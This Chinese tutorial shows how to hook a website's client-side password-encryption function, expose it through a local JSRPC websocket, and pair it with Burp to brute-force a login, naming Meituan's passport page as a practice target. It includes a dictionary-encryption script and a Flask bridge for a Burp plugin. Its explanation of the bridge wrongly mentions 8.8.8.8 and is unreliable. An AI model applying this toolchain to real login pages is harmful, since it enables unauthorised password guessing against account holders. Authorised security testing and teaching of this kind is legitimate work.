案例演示
思路就是 这个 jsrpc远程加载加密函数的方法就是 在js代码中进行插入一个 远程加载的代码 从而实现 :
第一步还是使用 js_tools 进行
查找算法的位置 这个可以帮助我们找到明文=>密文 加密算法函数的位置
因为这个需要我们进行js前端代码的修改 所以我们还需要使用本地覆盖的方法
创建一个本地覆盖的项目 把这个带有加密函数的 js文件替换到替换内容中去
在此之前 我们先 进行联动一下
执行hook 然后我们修改一下 加密函数那个位置的代码
var demo =new H1client("ws://127.0.0.1:12080/ws?group=xiaodi&name=xiaodisec");
//这个是 进行远程的会话连接
demo.regAction("pass",function(resolve,param){ //创建一个新的行为 pass 他的作用就是调用 l() 函数 这样我们进行连接的时候这个l() 其实就是被调用到了远程地址的位置 :ws://127.0.0.1:12080/ws?group=xiaodi&name=xiaodise 这个就是我们的远程地址
resolve(l(param));
})
// 备用代码
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=xiaodi");
demo.regAction("pass",function(resolve,param){
resolve(l(param));
});
第二个练习案例
先导入 内的代码
https://passport.meituan.com/account/unitivelogin
然后我们根据这个发起程序进行调试堆栈找加密的地方
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=xiaodi");
// 创建一个rpc的实例 实例的地址是 //127.0.0.1:12080 密码是 xiaodi
demo.regAction("pass",function(resolve,param){
resolve(encrypt.encrypt(param));
});
// 创建实例的一个方法 名称为 pass 需要传入一个参数 param
然后完成这些之后 我们直接访问本地的console 就完事了
http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123456
因为xiaodi这个组内只有一个 方法所以我们是不用写name的 但是如果需要多个接口需要给接口名字
这个就是123456加密的数据
可以使用对方的浏览器测试 我们把密码写为 123456
但是密码变了 所以这个对方是使用的特点库并且是有偏移的
每次刷新
http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123456
也会进行变化
联动burp进行爆破的思路
对于这样的js保护的加密我们进行bp的思路 :1、直接把字典换为加密之后的 然后使用加密之后的字典进行 bp 2、使用加密逻辑的接口(auto decode插件的功能) 然后我们只需使用明文字典进行bp即可
但是这个mt的这个肯定是不行的因为是动态的
当然思路是通的 让ai 写个脚本
import requests
import json
from urllib.parse import quote
import time
def encrypt_data(dictionary_path, output_file):
"""
读取字典文件,发送加密请求,保存加密结果
:param dictionary_path: 字典文件路径
:param output_file: 结果保存路径
"""
# 读取字典文件
try:
with open(dictionary_path, 'r', encoding='utf-8') as f:
words = [line.strip() for line in f if line.strip()]
print(f"成功读取字典文件,共 {len(words)} 个条目")
except Exception as e:
print(f"读取字典文件失败: {str(e)}")
return
# 处理每个单词的加密请求
results = []
success_count = 0
fail_count = 0
print("\n开始加密处理...")
for i, word in enumerate(words):
try:
# URL编码并构造请求URL
encoded_word = quote(word)
url = f"http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m={encoded_word}"
# 发送HTTP请求
response = requests.get(url, timeout=10)
response.raise_for_status() # 检查HTTP错误
# 解析JSON响应并提取data字段
json_data = response.json()
if 'data' in json_data:
encrypted = json_data['data']
results.append(f"{word} -> {encrypted}")
success_count += 1
status = "✓"
else:
results.append(f"{word} -> 错误: 响应中缺少data字段")
fail_count += 1
status = "✗"
# 进度显示
progress = (i + 1) / len(words) * 100
print(f"[{status}] [{i+1}/{len(words)} {progress:.1f}%] {word.ljust(20)} => {encrypted if 'data' in json_data else 'ERROR'}")
except requests.exceptions.RequestException as e:
results.append(f"{word} -> 网络请求失败: {str(e)}")
fail_count += 1
print(f"[✗] [{i+1}/{len(words)}] {word} - 网络错误: {str(e)}")
except json.JSONDecodeError:
results.append(f"{word} -> 错误: 无效的JSON响应")
fail_count += 1
print(f"[✗] [{i+1}/{len(words)}] {word} - 响应不是有效的JSON")
except Exception as e:
results.append(f"{word} -> 未知错误: {str(e)}")
fail_count += 1
print(f"[✗] [{i+1}/{len(words)}] {word} - 错误: {str(e)}")
# 添加延迟避免服务器压力
time.sleep(0.1)
# 保存结果到文件
try:
with open(output_file, 'w', encoding='utf-8') as f:
f.write("\n".join(results))
print(f"\n处理完成: 成功 {success_count}, 失败 {fail_count}")
print(f"加密结果已保存到: {output_file}")
except Exception as e:
print(f"结果保存失败: {str(e)}")
if __name__ == "__main__":
# 配置参数
dictionary_file = "1.txt" # 字典文件路径
result_file = "encrypted_results.txt" # 结果文件路径
print("="*60)
print("字典加密处理工具")
print("="*60)
print(f"字典文件: {dictionary_file}")
print(f"结果文件: {result_file}")
print(f"目标API: http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=")
print("="*60 + "\n")
encrypt_data(dictionary_file, result_file)
第二种方法 : 使用接口加密
明文字典爆破 这个就可以应用在动态 加密数据 因为接口也是动态的
联动 先改一下设置
然后这个还需要一个监听的 接口的脚本 :
import requests
import json
from urllib.parse import quote
from flask import Flask, request
app = Flask(__name__)
url = "http://localhost:12080/go" # 这个需要和 rpc的端口一致
@app.route('/encode',methods=["POST"]) #访问这个 /encode的时候需要带参数
def encrypt():
param = request.form.get('dataBody') # 获取 post 参数
#print(json.dumps(param))
param_headers = request.form.get('dataHeaders') # 获取 post 参数 这个参数需要进行传递
param_requestorresponse = request.form.get('requestorresponse') # 获取 post 参数
data = {
"group": "xiaodi",
# "name": "xiaodisec",
"action": "pass",
"param": json.dumps(param)
}
res = requests.post(url, data=data) #这里换get也是可以的
encry_param = json.loads(res.text)['data']
print(encry_param)
if param_requestorresponse == "request":
return param_headers + "\r\n\r\n\r\n\r\n" + encry_param
return encry_param
@app.route('/decode',methods=["POST"])
def decrypt():
param = request.form.get('dataBody') # 获取 post 参数
param_headers = request.form.get('dataHeaders') # 获取 post 参数
param_requestorresponse = request.form.get('requestorresponse') # 获取 post 参数
print(param)
data = {
"group": "xiaodi",
"name": "xiaodisec",
"action": "dec",
"param": param
}
res = requests.post(url, data=data) #这里换get也是可以的
decrypt_param = json.loads(res.text)['data']
print(decrypt_param)
if param_requestorresponse == "request":
return param_headers + "\r\n\r\n\r\n\r\n" + decrypt_param
else:
return decrypt_param
if __name__ == '__main__':
app.debug = True # 设置调试模式,生产模式的时候要关掉debug
app.run(host="0.0.0.0",port="8888")
这个是根据 .jar 插件改的
这个联动的原理: 就是
这个脚本会监听本地的8888 然后 aoto对应的就是 8.8.8.8 无论是加密还是解密
我们访问web的时候这个插件会进行转发到 把加密的数据 发到 8.8.8.8 (数据的定位需要进行工具的配置) 然后 这个 8.8.8.8 web会根据 falsk的指令然后去访问
127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123
然后param 是 8888 端口进行转发的数据 就会显示加解密(这边是实现的加密) 然后接口获得加密数据之后 就会对我们的数据包的参数进行 加密为加密的数据 这样我们就能单凭借 明文字典就能实现bp